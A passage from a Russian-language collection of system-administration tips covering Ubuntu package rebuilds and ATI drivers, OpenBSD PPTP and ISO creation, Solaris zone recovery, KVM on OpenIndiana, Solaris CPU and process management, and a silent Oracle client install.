    Исходники скачиваются в текущую директорию.
    
    Патчим.
    
       wget http://launchpadlibrarian.net/15741199/pidgin-2.4.2-icq.patch
       cd pidgin-2.4.1
       patch -p0 < ../pidgin-2.4.2-icq.patch
    
    Устанавливаем зависимости, необходимые для сборки:
    
       sudo apt-get build-dep libpurple0
    
    Пересобираем пакет (из той же директории)
    
       debuild -us -uc
    
    Получившийся пакет устанавливаем:
    
       cd ..
       sudo dpkg -i libpurple0_2.4.1-1ubuntu2_amd64.deb
    
    Если у вас i386-дистрибутив, то пакет будет называться libpurple0_2.4.1-1ubuntu2_i386.deb.
    
     
    ----* Установка ATI Catalyst 8.5 в Ubuntu 8.04 (доп. ссылка 1)   Автор: Pronix  [комментарии]
     
    1. Скачать ati-driver-installer-8-5-x86.x86_64.run
    
    2. В консоли выполнить для синхронизации списка пакетов, доступных в репозиториях:
    
       sudo apt-get update
    
    Затем, установить пакеты, необходимые для сборки модуля ядра из исходных
    текстов и создания deb пакета:
    
       sudo apt-get install build-essential fakeroot dh-make debhelper debconf libstdc++5 dkms linux-headers-$(uname -r)
    
    3. В консоли запускаем инсталлятор драйвера в режиме создания пакетов:
    
       sudo sh ati-driver-installer-8-5-x86.x86_64.run --buildpkg Ubuntu/8.04
    
    
    4. Теперь нужно занести в черный список драйвер fglrx из репозитория Ubuntu, выполняем
    
       sudo gedit /etc/default/linux-restricted-modules-common
    
    и в строке "DISABLED_MODULES" добавляем "fglrx"
    получаем строку:
    
       DISABLED_MODULES="fglrx"
    
    сохраняем файл
    
    5. далее в консоли устанавливаем подготовленные пакеты с драйвером:
    
       sudo dpkg -i xorg-driver-fglrx_8.493*.deb fglrx-kernel-source_8.493*.deb fglrx-amdcccle_8.493*.deb
    
    
    6. Перезагружаем X сервер. 
    
    7. проверяем:
    
       $ fglrxinfo
       display: :0.0 screen: 0
       OpenGL vendor string: ATI Technologies Inc.
       OpenGL renderer string: Radeon X1900 Series
       OpenGL version string: 2.1.7537 Release
    
    PS: все вышесказанное проверялось на i386 конфигурации с видеокартой X1900, 
    для amd64 возможны небольшие отличая в установке.
    
    Оригинал: http://pronix.isgreat.org/news.php?item.86.5
    
     

       OpenBSD

    ----* Настройка PPTP Client под управлением OpenBSD (доп. ссылка 1)   Автор: dreamcatcher.ru  [комментарии]
     
    Автор: Алексей Гнедин
    Редактор: Олег Сафулин
    
    Используемое ПО: pptp-1.6.0.tgz , OpenBSD 3.8 (GENERIC)
    
    Особенности данного подключения состоят в том ,что VPN сервер разрешает подключатся 
    только с авторизацией MSChapV2, и явно включённым шифрованием MPPE 128 STATELESS.
    
    
          cd /etc/ppp
          vi /etc/ppp/ppp.conf 
    
    Добавляем следующие строки:
    
          default:
           set log Phase Chat LCP IPCP CCP tun command
          pptp1:
           set device "!/usr/local/sbin/pptp  IPADDR_VPN_SERVER --nolaunchpppd"
           set log Phase LCP IPCP CCP tun command
           disable acfcomp protocomp
           deny acfcomp
           enable lqr
           set lqrperiod 5
           set cd 5
           set redial 30
           set timeout 0
           set authname <username>
           set authkey <userpass>
           set dial
           set login
           add! default HISADDR
           enable mssfixup
           disable ipv6cp
           accept MSChapV2
           set mppe 128 stateless
    
    Далее:
    
         touch /etc/hosname.tun0 ; vi  /etc/hostname.tun0 
    
    Добавляем следующие строки:
    
          !/usr/sbin/ppp -ddial pptp1 >/dev/null 2>&1
          sysctl -w net.inet.gre.allow=1
          reboot
    
    После загрузки машина автоматически соединится с VPN сервером. 
    
     
    ----* Создание установочного ISO для OpenBSD 3.8.   Автор: Алексей Солдатов  [комментарии]
     
    Необходимые файлы: 
    
    $ ls -lh
    
    итого 267M
    -r-xr-xr-x  1 lexa lexa  36M Дек  9 21:27 base38.tgz
    -r-xr-xr-x  1 lexa lexa 5,1M Дек  9 21:27 bsd
    -r-xr-xr-x  1 lexa lexa 4,5M Дек  9 21:28 bsd.rd
    -r-xr-xr-x  1 lexa lexa 2,9M Дек  9 21:41 cdrom38.fs
    -r-xr-xr-x  1 lexa lexa  563 Дек  9 21:28 CKSUM
    -r-xr-xr-x  1 lexa lexa  21M Дек  9 21:28 comp38.tgz
    -r-xr-xr-x  1 lexa lexa 1,1M Дек  9 21:28 etc38.tgz
    -r-xr-xr-x  1 lexa lexa 7,3K Дек  9 21:41 ftplist
    -r-xr-xr-x  1 lexa lexa 2,5M Дек  9 21:28 game38.tgz
    -r-xr-xr-x  1 lexa lexa 7,1M Дек  9 21:28 man38.tgz
    -r-xr-xr-x  1 lexa lexa 1019 Дек  9 21:28 MD5
    -r-xr-xr-x  1 lexa lexa 2,2M Дек  9 21:28 misc38.tgz
    -r-xr-xr-x  1 lexa lexa 8,4M Дек  9 21:41 ports.tar.gz
    -r-xr-xr-x  1 lexa lexa 4,7K Дек  9 21:41 root.mail
    -r-xr-xr-x  1 lexa lexa 100M Дек  9 21:42 src.tar.gz
    -r-xr-xr-x  1 lexa lexa  17M Дек  9 21:42 sys.tar.gz
    -r-xr-xr-x  1 lexa lexa  10M Дек  9 21:28 xbase38.tgz
    -r-xr-xr-x  1 lexa lexa  92K Дек  9 21:28 xetc38.tgz
    -r-xr-xr-x  1 lexa lexa  32M Дек  9 21:28 xfont38.tgz
    -r-xr-xr-x  1 lexa lexa  18M Дек  9 21:28 xserv38.tgz
    -r-xr-xr-x  1 lexa lexa 2,0M Дек  9 21:28 xshare38.tgz
    
    Пусть рабочая директория будет files, тогда структура подготовленных файлов должна быть такая:
    
    $ tree -s files/
    files/
    |-- [       4096]  3.8
    |   `-- [       4096]  i386
    |       |-- [        563]  CKSUM
    |       |-- [       1019]  MD5
    |       |-- [   36790935]  base38.tgz
    |       |-- [    5281094]  bsd
    |       |-- [    4658297]  bsd.rd
    |       |-- [   21015186]  comp38.tgz
    |       |-- [    1150325]  etc38.tgz
    |       |-- [    2599491]  game38.tgz
    |       |-- [    7408552]  man38.tgz
    |       |-- [    2276103]  misc38.tgz
    |       |-- [   10471148]  xbase38.tgz
    |       |-- [      93384]  xetc38.tgz
    |       |-- [   33216689]  xfont38.tgz
    |       |-- [   18609057]  xserv38.tgz
    |       `-- [    2034078]  xshare38.tgz
    |-- [    2949120]  cdrom38.fs
    |-- [       7470]  ftplist
    |-- [    8775929]  ports.tar.gz
    |-- [       4742]  root.mail
    |-- [  104553952]  src.tar.gz
    `-- [   16854676]  sys.tar.gz
    
    дерево каталогов:
    
    $ tree -d  files
    
    files
    `-- 3.8
        `-- i386
    
    
    Создание ISO:
    
    $ mkisofs -vrTJV OpenBSD38 -b cdrom38.fs -c boot.catalog -o OpenBSD38.iso files
    
    ls -l
    drwxr--r--  3 lexa lexa      4096 Дек  9 21:29 files
    -rw-rw-r--  1 lexa lexa 279166976 Дек  9 22:21 OpenBSD38.iso
    
    Установочный ISO OpenBSD 3.8 готов!
    
     
    ----* Русификация консоли OpenBSD 3.7 (доп. ссылка 1)   Автор: Игорь Грабин  [обсудить]
     
    Подключение русской раскладки:
    
       echo ru > /etc/kbdtype
    
    После чего добавляем в /etc/rc.local такое:
    
       wsfontload /usr/share/misc/pcvtfonts/koi8-r-8x16
       for cons in `jot 6 1 6`; do wsconscfg -dF $cons; wsconscfg -t 80x25bf $cons; done
       unset cons
       wsconsctl -w keyboard.map+="keycode 157=Mode_Lock"
    
    Вместо koi8-r-8x16 можно указать koi8-u-8x16. 
    В качестве переключателя раскладки используется правый CTRL
    
    Замечание: Экран ttyC0 создаётся всегда и не может быть удалён, поэтому не
    может отображать кириллицу.
    
     

       Solaris специфика

    ----* Опыт восстановления работы zones в Solaris 11 Express/OpenSolaris (доп. ссылка 1)   Автор: sergm  [комментарии]
     
    После скоропостижной гибели жесткого диска с лежащими на нем зонами, наступило
    время восстановить их из бекапа и запустить. Казалось, тривиальная процедура,
    отрепетированная на тестовых системах (но не тех, где лежали зоны - это
    важно) отняла много времени и поставила несколько вопросов, ответы на которые
    еще придется поискать.
    
    Восстанавливаем зону из бекапа:
    
       # zfs send -R backup/zone/develop@rep201108250419 | zfs receive -F vol01/ zone/develop@rep201108250419
    
    Стартуем зону и наблюдаем странное:
    
       # zoneadm -z develop boot
    
       zone 'develop': ERROR: no active dataset.
       zone 'develop':
       zoneadm: zone 'develop': call to zoneadmd failed
    
    Ошибка явно говорит о том, что у нас что-то не в порядке со свойствами датасета.
    
    Начинаем осмотр датасета
    
    Чтобы было с чем сравнивать, я создал и запустил тестовую зону, свойства ее
    файловых систем и брал за эталон.
    
    Тестовая зона создается примерно так:
    
        # zonecfg -z testzone
    
        testzone: No such zone configured
        Use&#8217;create&#8217; to begin configuring a new zone.
        zonecfg:testzone>create
        zonecfg:testzone>set zonepath=/vol01/zone/testzone
        zonecfg:testzone>set autoboot=false
        zonecfg:testzone>add net
        zonecfg:testzone:net>set physical=e1000g4
        zonecfg:testzone:net>set address=192.168.0.24/24
        zonecfg:testzone:net>end
        zonecfg:testzone>verify
        zonecfg:testzone>commit
        zonecfg:testzone>exit
    
        # zoneadm -z testzone install
        ...
    
        # zoneadm -z testzone boot
    
    При инсталляции в OpenSolaris/Solaris 11 создаются три датасета (по адресу zonepath):
    
        # zfs list | grep vol01/zone/testzone
    
        NAME
        vol01/zone/testzone
        vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe
    
    Лечение
    
        Смотрим полный список свойств датасетов исправной и сломанной зон и сравниваем их:
        
       # zfs get all vol01/zone/testzone
    
        (сдесь должен быть очень большой вывод, который я пропустил и самое интересное из которого можно увидеть ниже)
    
        # zfs get all vol01/zone/testzone/ROOT
        ...
        # zfs get all vol01/zone/testzone/ROOT/zbe
        ...
        # zfs get all vol01/zone/develop
        ...
        # zfs get all vol01/zone/develop/ROOT
        ...
        # zfs get all vol01/zone/develop/ROOT/zbe
    
        ...
    
    Наблюдаем основную разницу в данных свойствах датасета:
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/testzone/ROOT/zbe
    
        NAME    PROPERTY    VALUE    SOURCE
    
        vol01/zone/testzone/ROOT/zbe  zoned on inherited from vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe  canmount noauto  local
        vol01/zone/testzone/ROOT/zbe  mountpoint legacy inherited from vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe  org.opensolaris.libbe:parentbe  2aadf62d-9560-e14b-c36a-f9136fbce6e9  local
        vol01/zone/testzone/ROOT/zbe  org.opensolaris.libbe:active on  local
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/develop/ROOT/zbe
    
        NAME    PROPERTY    VALUE    SOURCE
    
        vol01/zone/develop/ROOT/zbe  zoned off default
        vol01/zone/develop/ROOT/zbe  canmount on default
        vol01/zone/develop/ROOT/zbe  mountpoint /vol01/zone/develop/ROOT/zbe  default
        vol01/zone/develop/ROOT/zbe  org.opensolaris.libbe:parentbe - -
        vol01/zone/develop/ROOT/zbe  org.opensolaris.libbe:active - -
    
    
    Исправляем, чтобы было нормально:
    
        # zfs set zoned=on vol01/zone/develop/ROOT/zbe
        # zfs set canmount=noauto vol01/zone/develop/ROOT/zbe
        # zfs set mountpoint=legacy vol01/zone/develop/ROOT/zbe
        # zfs set org.opensolaris.libbe:parentbe=2aadf62d-9860-e14b-c36a-f9106fbce6e9 vol01/zone/develop/ROOT/zbe
        # zfs set org.opensolaris.libbe:active=on vol01/zone/develop/ROOT/zbe
    
    Аналогично, правим vol01/zone/develop/ROOT после сравнения с работающей зоной:
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/testzone/ROOT
    
        NAME    PROPERTY    VALUE    SOURCE
        vol01/zone/testzone/ROOT  zoned on local
        vol01/zone/testzone/ROOT  canmount on default
        vol01/zone/testzone/ROOT  mountpoint legacy local
        vol01/zone/testzone/ROOT  org.opensolaris.libbe:parentbe - -
        vol01/zone/testzone/ROOT  org.opensolaris.libbe:active  - -
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/develop/ROOT
    
        NAME    PROPERTY    VALUE    SOURCE
        vol01/zone/develop/ROOT  zoned off default
        vol01/zone/develop/ROOT  canmount on default
        vol01/zone/develop/ROOT  mountpoint  /vol01/zone/develop/ROOT     default
        vol01/zone/develop/ROOT  org.opensolaris.libbe:parentbe - -
        vol01/zone/develop/ROOT  org.opensolaris.libbe:active - -
    
       # zfs set zoned=on vol01/zone/develop/ROOT
       # zfs set canmount=on vol01/zone/develop/ROOT
    
    После этого у нас все хорошо: свойства датасетов практически идентичны.
    
        # zlogin -C develop
    
        [Connected to zone 'develop' console]
        [NOTICE: Zone booting up]
        SunOS Release 5.11 Version snv_134 64-bit
        Copyright 1983-2010 Sun Microsystems, Inc.  All rights reserved.
        Use is subject to license terms.
        Hostname: develop
        Reading ZFS config: done.
        Mounting ZFS filesystems: (5/5)
    
        develop console login: mike
        Password:
        Last login: Mon Aug 2 06:41:54 from nostalgia
        Sun Microsystems Inc.   SunOS 5.11      snv_134 February 2010
        (mike@develop)$ su
        Password:
        Aug 27 15:04:13 develop su: &#8216;su root&#8217; succeeded for mike on /dev/console
        (root@develop)# svcs -xv
        (root@develop)#
    
    Вместо послесловия
    
    Если у зоны были смонтированы  из глобальной зоны файловые системы через lofs,
    будет такой казус - зона загрузиться, но локальные файловые системы не будут
    смонтированы, сервис filesystem/local:default перейдет в состояние maintenance
    с ошибкой 262 в логах:
       /usr/bin/zfs mount -a failed: cannot mount local filesystem.
    
    Проблему можно решить экспортировав и затем импортировав зону
    
       # zoneadm -z webapp detach
       # zoneadm -z webapp attach
    
    После этого все будет работать нормально.
    
     
    ----* Использование системы виртуализации KVM в OpenIndiana (доп. ссылка 1)   [комментарии]
     
    В бета-версии 151 сборки проекта OpenIndiana, в рамках которого независимым
    сообществом развивается построенное на кодовой базе Illumos ответвление от
    OpenSolaris, появилась поддержка системы виртуализации KVM. Поддержка KVM была ранее
    портирована компанией
    Joyent для своей ОС SmartOS и на днях перенесена в Illumos (за исключением
    поддержки  KVM branded zone, которая пока не добавлена).
    
    <p>Для использования KVM пользователям последней доступной сборки oi_148
    необходимо выполнить обновление до oi_151_beta:
    
       sudo pkg set-publisher -g http://pkg.openindiana.org/dev-il -G http://pkg.openindiana.org/dev openindiana.org
       sudo pkg image-update --be-name oi_151_beta
    
    После чего можно подключить репозиторий с пакетами для работы с KVM и
    установить требуемые инструменты:
    
      sudo pkg set-publisher -p http://pkg.openindiana.org/kvm-test
      sudo pkg install driver/i86pc/kvm system/qemu system/qemu/kvm
    
    Управление окружениями производится при помощи стандартных утилит из состава
    QEMU. Использование libvirt пока не поддерживается.
    
    Пример использования.
    
    Создаем образ гостевой системы:
    
       qemu-img create -f qcow2 virt.img 15G 
    
    Устанавливаем операционную систему в гостевое окружение:
    
       qemu-kvm -hda virt.img -cdrom install_cd.iso -boot d -m 512
    
    Запускаем гостевое окружение (вместо qemu-kvm можно использовать qemu-system-x86_64):
    
       qemu-kvm -hda virt.img -net nic -net user
    
     
    ----* Улучшение производительности Solaris на многопроцессорных системах (доп. ссылка 1)   Автор: ikorolev  [комментарии]
     
    Для улучшения производительности в многопроцессорных (в том числе
    Multithreading) системах с ОС Solaris можно использовать выделенные процессоры
    для обработки прерываний устройств ввода-вывода. Это позволяем снизить
    количество переключений контекста для процессоров, увеличить попадания в кэш, в
    конечном счете отдать больше ресурсов для обработки пользовательских задач.
    
    Solaris 10:
    
    Для того, чтобы привязать процессор к обработке прерываний устройства:
    
    1.  Определяем процессор, на который попадает большинство системных прерываний
    по данному адаптеру (например по сетевому адаптеру nxge):
    
       # intrstat 2 1|egrep 'device|nxge'
       ..
       device | cpu92 %tim cpu93 %tim cpu94 %tim cpu95 %tim
       nxge#0 | 0 0.0 0 0.0 0 0.0 0 0.0
       device | cpu96 %tim cpu97 %tim cpu98 %tim cpu99 %tim
       nxge#0 | 20816 67.4 13877 33.6 0 0.0 0 0.0
       device | cpu100 %tim cpu101 %tim cpu102 %tim cpu103 %tim
       nxge#0 | 0 0.0 0 0.0 0 0.0 0 0.0
       ...
    
    В нашем случае - это процессоры 96 и 97.
    
    2.  Проверяем количество переключений контекста для этих процессоров (колонка
    csw в выводе команды mpstat):
    
       # mpstat 1 3 |egrep 'CPU|^ 96|^ 97'
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys  wt idl
       96 0 0 3385 4021 3970 84 0 9 53 0 466 3 13 0 83
       97 0 0 1028 1295 1207 131 2 14 29 0 691 9 5 0 87
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 3032 3552 3510 71 0 7 45 0 429 4 12 0 84
       97 0 0 981 1201 1131 116 1 23 27 0 429 2 4 0 94
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 3049 3598 3547 78 0 9 34 0 645 12 12 0 77
       97 0 0 980 1226 1139 160 1 5 29 0 245 3 5 0 92
    
    3.  Создаем процессорный set с процессорами 96 и 97
    
       # psrset -c 96 97
       created processor set 1
       processor 96: was not assigned, now 1
       processor 97: was not assigned, now 1
    
    4. Проверяем переключений контекста:
    
       # mpstat -P 1 1 3
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 1 0 2195 2462 2434 41 1 4 66 0 325 6 8 0 86
       97 1 0 775 769 725 63 1 8 58 0 354 7 3 0 91
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 3103 3634 3634 0 0 0 34 0 0 0 11 0 89
       97 0 0 1032 1193 1192 0 0 0 16 0 0 0 3 0 97
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 2941 3426 3425 0 0 0 44 0 0 0 12 0 88
       97 0 0 997 1172 1170 0 0 0 18 0 0 0 3 0 97
    
    
    Solaris 9:
    Т.к. утилиты intrstat в Solaris 9 нет, то ориентироваться можно только на вывод
    команды mpstat (колонка intr). Выбираем процессор или несколько процессоров с
    наибольшим количеством прерываний и переносим их в сэт.
    
    
    Если процессоров не так много, или сервер состоит из системных плат,
    объединенных через общую шину (типа sf4800, sf6900, e25k итд) - то можно пойти
    другим путем - привязать процессы к процессорному сэту и запретить прерывания
    для этого сэта. Тем самым повышаем попадания в кэш, уменьшится трафик между
    системными платами, можно выделить как бы гарантированный квант процессорных
    ресурсов приложению.
    Итак, пусть у нас средняя железка, 24 процессора. 
    
    Создадим процессорный сэт из процессоров 0-7
    
       # psrset -c 0-7
       created processor set 1
       processor 0: was not assigned, now 1
       processor 1: was not assigned, now 1
       processor 2: was not assigned, now 1
       ..
    
    Проверяем:
    
       # mpstat 2 5
       ...
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys  wt idl
       ...
       21 308 0 17969 1410 1132 955 304 391 380 0 1340 67 29 3 1
       22 364 0 18396 469 1 1541 472 583 612 0 2056 80 10 10 0
       23 301 0 11905 375 1 1121 376 464 342 0 2969 86 8 5 0
       0 0 0 221 499 396 0 0 0 14 0 0 0 1 0 99
       1 0 0 1 5 1 0 0 0 0 0 0 0 0 0 100
       2 0 0 1 5 1 0 0 0 0 0 0 0 0 0 100
       ...
    
    Ищем процесс, который мы собираемся отдать в процессорный сэт:
    
       # ps -ef | grep lsnr
       oracle 1811 1 0 Apr 12 ? 74:55 /oracle/dbase10g/bin/tnslsnr listener -inherit
    
    Привязываем процесс (и подпроцессы, которые он порождает в сэт)
    
       # psrset -b 1811
    
    Запрещаем прерывания на этот сэт
    
       # psrset -f 1
    
    Проверяем:
    
       # mpstat 2 5
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       ...
       22 470 0 10802 557 218 708 342 282 109 0 1982 89 9 2 0
       23 132 0 12200 1501 1260 610 262 264 166 0 1120 86 12 2 0
       0 0 0 1 6 1 0 0 0 0 0 0 0 0 0 100
       1 0 0 1 6 1 0 0 0 0 0 0 0 0 0 100
       2 0 0 1 6 1 0 0 0 0 0 0 0 0 0 100
    
    Убеждаемся, что прерывания на процессорах из сэта заметно уменьшились (столбец intr).
    Ну и в любой момент процессорный сэт можно удалить:
    
       # psrset -d 1
    
     
    ----* Изменение UID работающего процесса в Solaris 10 (доп. ссылка 1)   Автор: ikorolev  [комментарии]
     
    В утилите pcred из комплекта Solaris 10 появилась возможность на лету менять 
    идентификатор владельца уже запущенного процесса:
    
       # ps -ef | grep sleep
       vasya 4088 4081 0 09:50:53 pts/11 0:00 sleep 10000000
    
       # pcred -u 123 4088
    
       # ps -ef | grep sleep
       kolya 4088 4081 0 09:50:53 pts/11 0:00 sleep 10000000
    
     
    ----* Удаление zombie процессов в Solaris (доп. ссылка 1)   [комментарии]
     
    Нередко из-за отсутствия обработчика сигнала SIGCHLD в родительском процессе, 
    после завершения дочерней программы, остаются "<defunct>" или zombie процессы. 
    Zombie процессы не занимают системные ресурсы, кроме записи в таблице процессов, 
    что может вызвать ее переполнение и как следствие блокировку запуска новых процессов, 
    при большой интенсивности появления zombie. Zombie исчезают после завершения работы 
    родительского процесса, но записи в таблице также можно очистить принудительным путем.
    
    Получаем список zombie процессов:
    
        ps -ecl |grep "Z"
        F S  UID  PID  PPID  CLS PRI  ADDR  SZ  WCHAN TTY  TIME CMD
        0 Z  100 27841 27840   -   0     -   0  -     ?    0:00 <defunct>
    
    "kill" и "kill -9" в случае zombie использовать бесполезно. В Solaris для эмуляции вызова wait() 
    для чтения кода возврата из таблицы процессов существует утилита preap:
    
        preap 27841
        27841: exited with status 0
    
     
    ----* Замена для ldconfig в Solaris   Автор: TS  [обсудить]
     
    Чтобы добавить нестандартный путь к библиотекам (например /usr/local/ssl/lib/) в линкер в Solaris 
    вместо отсутствующей в этой ОС команды ldconfig нужно использовать команду crle:
    
       crle -u -l /usr/local/ssl/lib
    
     
    ----* Как обновить пакет в Solaris 8   Автор: TS  [комментарии]
     
    Если при установке пакета на Solaris 8 через pkgadd -d package он ругается что
    такой пакет уже установлен -
       Current administration requires that a unique instance of the <pkg>
       package be created. However, the maximum number of instances of the
       package that may be supported at one time on the same system has already been met.
       No changes were made to the system.
    
    нужно отредактировать /var/sadm/install/admin/default
    
       instance=unique
    
    заменить на
    
       instance=overwrite
    
     
    ----* Установка клиента Oracle в Solaris без использования графического интерфейса (доп. ссылка 1)   Автор: Kovalchuk Egor  [обсудить]
     
    На официальном сайте Oracle присутствует небольшое руководство по установке в Solaris
    без использования графического интерфейса, при этом оно сводится к тому, 
    что нужно запустить скрипт под графическим интерфейсом с дополнительными параметрами.
    
       /directory_path/runInstaller -record -destinationFile response_filename
    
    В итоге получаем файл, который может быть использован при установке,
    но установка графического интерфейса была не приемлема, 
    поэтому пришлось разбираться самому с файлом ответов.
    
    Для установки нужно скачать клиента с оф. сайта Oracle.
    скачать можно по адресу:
     http://download-llnw.oracle.com/otn/solaris/oracle10g/10201/sol64/10gr2_client_sol.cpio.gz
    
    создайте пользователя и группу для клиента
    например:
    
       useradd oracle
       groupadd oracle
       usermod -g oracle oracle
       passwd oracle	
    
    Создайте папку распакуйте полученный архив в эту папку и дайте команду
    
       chown -R oracle:oracle /directory_path/	
    
    Теперь нужно править или создать свой фаил ответов
    
       версию можем не трогать
       RESPONSEFILE_VERSION=2.2.1.0.0
    
       имя группы которую создали для оракла
       UNIX_GROUP_NAME="oracle"
    
       если вы брали стандартый дистрибутив с сайта менять не надо
       FROM_LOCATION="../stage/products.xml"
    
       имя и путь к следующему фаилу ответов
       NEXT_SESSION_RESPONSE=""
    
       Куда устанавливаем
       ORACLE_HOME="/export/home/oracle/client"
       ORACLE_HOME_NAME="OraClient"
    
       эти значения нужно оставить по молчанию. Беруться из примеров файлов ответов в дистрибутиве
       TOPLEVEL_COMPONENT={"oracle.client","10.2.0.1.0"}
       DEINSTALL_LIST={"oracle.client","10.2.0.1.0"}
    
       т.к. у нас тихая инсталяция а эти параметры требуют графический интерфейс скидываем их все в false 
       SHOW_SPLASH_SCREEN=false
       SHOW_WELCOME_PAGE=false
       SHOW_CUSTOM_TREE_PAGE=false
       SHOW_SUMMARY_PAGE=false
       SHOW_INSTALL_PROGRESS_PAGE=false
       SHOW_CONFIG_TOOL_PAGE=false
       SHOW_XML_PREREQ_PAGE=false
       SHOW_ROOTSH_CONFIRMATION=true
       SHOW_END_SESSION_PAGE=false
       SHOW_EXIT_CONFIRMATION=false
       SHOW_DEINSTALL_CONFIRMATION=false
       SHOW_DEINSTALL_PROGRESS=false
    
       следующая сессия нам не нужна поэтому скидываем параметры в false
       NEXT_SESSION=false
       NEXT_SESSION_ON_FAIL=false
    
       CLUSTER_NODES={}
    
       какую папку удалить после установки
       REMOVE_HOMES=""
    
       выбор поддержки языка
       COMPONENT_LANGUAGES={"en"}
    
       тип исталяции 
       INSTALL_TYPE="Administrator"
    
       если используется тип инсталяции Custom нужно добавить еще один параметр, 
       где перечисляются нужные компоненты
       DEPENDENCY_LIST={"oracle.sqlj:10.2.0.1.0","oracle.rdbms.util:10.2.0.1.0",
          "oracle.javavm.client:10.2.0.1.0","oracle.sqlplus:10.2.0.1.0",
          "oracle.dbjava.jdbc:10.2.0.1.0","oracle.ldap.client:10.2.0.1.0",
           "oracle.rdbms.oci:10.2.0.1.0","oracle.precomp:10.2.0.1.0","oracle.xdk:10.2.0.1.0",
           "oracle.swd.opatch:10.2.0.1.0","oracle.network.aso:10.2.0.1.0","oracle.oem.client:10.2.0.1.0",
           "oracle.oraolap.mgmt:10.2.0.1.0","oracle.network.client:10.2.0.1.0","oracle.ordim.client:10.2.0.1.0",
           "oracle.ons:10.1.0.3.0","oracle.has.client:10.2.0.1.0"}
    
    
    после того как готов файл, залогиниваемся под пользователем клиента и запускаем команду
    
       /directory_path/runInstaller -silent -responseFile responsefilename
    
    снова перелогиниваемся под рутом и запускаем скрипт root.sh, который лежит в
    папке с установленным клиентом
    
    Установка прошла успешно
    А дальше пользуемся готовыми статьями по настройке подключений.
    
    
    P.S. возможны проблемы, когда некоторые фалы копируются битыми, просто
    перезапустите скрипт утановки.
     
    
     
    ----* Какие бывают релизы Solaris (доп. ссылка 1)   Автор: blog.curthread.org  [обсудить]
     
    • Solaris 10 - наиболее стабильный на данный момент выпуск Solaris, предназначенный для промышленного использования в продуктивных окружениях. Свободно доступен для скачивания на сайте Sun Microsystems. Для него осуществляется всесторонняя поддержка, выпускаются патчи исправляющие ошибки и проблемы безопасности. С момента выхода первой версии Solaris 10 вышло несколько обновлений, содержащих новую функциональность и исправления ошибок, список которых и краткое описание изменений можно найти здесь. Эти обновления выходят в среднем раз в полгода и именуются по номерам а также по дате их выпуска (к примеру на текущий момент последним является обновление 4 - оно-же 08/07).
    • Solaris Express Community Edition (SXCE) - также называемый Nevada, это дистрибутив основанный на последних разработках, который в будущем превратится в Solaris 11. Новые версии выходят достаточно часто и именуются по номеру сборки (на данный момент последняя - 81). Основная цель Solaris Nevada - разработка и тестирование новой функциональности. Свободно доступен для скачивания на сайте opensolaris.org
    • Solaris Express Developer Edition (SXDE) - бинарный дистрибутив основанный на SXCE, прошедший этап тестирования и обеспеченный поддержкой. Предназначен в первую очередь для разработчиков. Релизы происходят значительно реже SXCE и именуются по дате выхода - последний на данный момент - 1/08. Свободно доступен для скачивания на сайте Sun Microsystems.
    • Open Solaris - не является полноценным дистрибутивом, а представляет из себя открытое ядро ОС и набор базовых утилит. Не содержит многих компонентов системы, необходимых для работы, и инсталлятора, поэтому может быть установлен только поверх SXCE/SXDE (которые сами построены на основе OpenSolaris). Достаточно часто появляются бинарные сборки. Доступен для свободного скачивания на opensolaris.org и сайте Sun Microsystems. Стоит отметить что постоянно идет процесс портирования новых возможностей из Open Solaris в Solaris 10.
    • Solaris Indiana - дистрибутив основанный на OpenSolaris и направленный на использование в качестве десктопа. На данный момент последняя версия - Developer Preview 2, выполненная в виде LiveCD. Доступен для свободного скачивания на opensolaris.org. Возможно в будущем Indiana заменит Developer Edition.
     
    ----* Подборка полезных shell команд для Solaris (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     Отладка
    cat -v -t -e [file] Показать неотображаемые символы
    dumpadm -d swap Сконфигурировать swap устройство как dump устройство
    ld -l Проверка наличия библиотеки
    truss -f -p Использование нескольких окон. Это может использоваться при отслеживании setuid/setgid программ
    truss executable Отслеживание команды (полезно при отладке)

    Работа с диском
    /bin/mount -F hsfs -o ro /dev/sr0 /cdrom Монтирование ISO 9660 CDROM
    /usr/bin/iostat -E Отображение статистики дисков
    du -ad /var | sort -nr Отчет об использовании /var сортированный в обратном порядке
    du -k . Отчет об использовании диска в килобайтах
    du -sk * | sort -nr | head Показать 10 самых больших файлов/каталогов
    du -sk *|sort -k1,1n Отчет об использованном пространстве в текущем каталоге
    du -sk . Отчет об общем использовании диска в килобайтах
    fdformat -d -U Форматирование дискеты
    newfs -Nv /dev/rdsk/c0t0d0s1 Просмотр доступных суперблоков
    prtvtoc /dev/rdsk/c0t0d0s2 Информация о геометрии и разделах диска
    prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2 Копировать таблицу разделов с одного диска на другой
    quot -af Сколько дискового пространства используется пользователем
    volrmmount -i floppy Монтирование дисковода или другого устройства просто по его имени

    Параметры ядра
    ndd /dev/ip ip_forwarding Показать переменную ip_forwarding в ядре
    ndd /dev/ip ip_forwarding 1 Установить переменную ip_forwarding в ядре
    ndd /dev/ip \? Показать все IP переменные в ядре

    Управление файлами
    dos2unix | -ascii Конвертировать файлы формата DOS в формат Unix
    fold -w 180 Удалить строки с больше чем 180 символов
    split [-linecount] [file] Разбить файл на части
